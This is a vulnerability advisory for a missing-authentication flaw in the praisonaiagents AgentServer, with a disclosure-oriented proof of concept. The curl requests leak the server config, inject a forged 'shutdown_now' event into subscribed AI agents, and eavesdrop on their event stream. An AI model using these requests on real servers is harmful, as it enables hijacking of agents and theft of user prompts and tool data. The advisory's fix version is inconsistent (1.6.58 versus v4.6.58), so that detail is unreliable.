high · 8.2CVE-2026-55528Aug 25, 2026

CVE-2026-55528: praisonaiagents AgentServer Missing Authentication

Shubham Kandhare
Security Engagement Manager, SecureLayer7

praisonaiagents lets operators set an auth_token on its built-in HTTP server, but the server never actually checks it, so any unauthenticated caller can read server config, inject events into every…

Packagepraisonaiagents
Ecosystempip
Affected< 1.6.58
Fixed in1.6.58
CVE-2026-55528: praisonaiagents AgentServer Missing Authentication

The problem

AgentServer.ServerConfig accepts an auth_token field and even masks it as "***" in the /info response, giving operators a false sense of security. The _create_app method that wires up all four routes (/info, /publish, /events, /health) never reads auth_token, adds no auth middleware, and attaches no per-route dependency.

The /publish route is the most dangerous: any unauthenticated caller can broadcast an arbitrary {type, data} payload to every agent subscribed via SSE. Registered on_event handlers will dispatch on the attacker-chosen type, letting a network-adjacent attacker drive agent behavior with fully controlled data.

The /events route lets an attacker subscribe silently to the entire event bus, observing agent observations, tool I/O, and user prompts. The /info route confirms whether a high-value auth_token is configured, leaks CORS settings, and exposes live client count.

Proof of concept

A working proof-of-concept for CVE-2026-55528 in praisonaiagents, with the exact payload below.

bash
# Start AgentServer with auth_token configured (operators expect this to protect all routes)
# Hit every route with zero authentication -- all return HTTP 200

# 1. Leak server config (confirms auth_token IS set, leaks cors_origins)
curl -s http://127.0.0.1:18765/info
# -> {"name":"PraisonAI Agent Server","config":{"auth_token":"***","cors_origins":[],"max_connections":100}}

# 2. Inject a forged control event into every subscribed agent process
curl -s -X POST http://127.0.0.1:18765/publish \
  -H 'Content-Type: application/json' \
  -d '{"type":"attacker_injected_event","data":{"instruction":"shutdown_now"}}'
# -> {"success":true,"clients":0}

# 3. Subscribe to the SSE event bus and eavesdrop on all traffic
curl -s http://127.0.0.1:18765/events
# -> HTTP 200, SSE stream opens

# 4. Leak live client count
curl -s http://127.0.0.1:18765/health
# -> HTTP 200

The root cause is a configuration field that was declared (server.py line 31: auth_token: Optional[str] = None) and surfaced in the API (line 39: "auth_token": "***" if self.auth_token else None) but never wired into any enforcement path. _create_app registers all four routes on a bare Starlette app and wraps it only in CORSMiddleware, meaning auth_token is dead code from the routes' perspective (CWE-862, CWE-306).

The same package already contains the correct pattern in praisonaiagents/ui/a2a/a2a.py, where _verify_auth is a FastAPI dependency injected via Depends() and checked on every protected route. That sibling implementation proves the developer knew the pattern; it was simply not ported to AgentServer.

The patch (commit 2f9677abb) closes the gap by adding a BaseHTTPMiddleware (or equivalent Depends-based guard) to AgentServer._create_app that reads the Authorization header, compares it to "Bearer {auth_token}" using hmac.compare_digest, and returns a 401 JSON response on mismatch, mirroring the A2A enforcement pattern already present in the codebase.

The fix

Upgrade praisonaiagents to version 1.6.58 or later. The fix is in commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1, released as v4.6.58. After upgrading, any AgentServer configured with a non-empty auth_token will require a matching Authorization: Bearer <token> header on all non-health routes and return HTTP 401 on mismatch.

Reported by Kai Aizen (SnailSploit).

References: [1][2][3][4]

Related research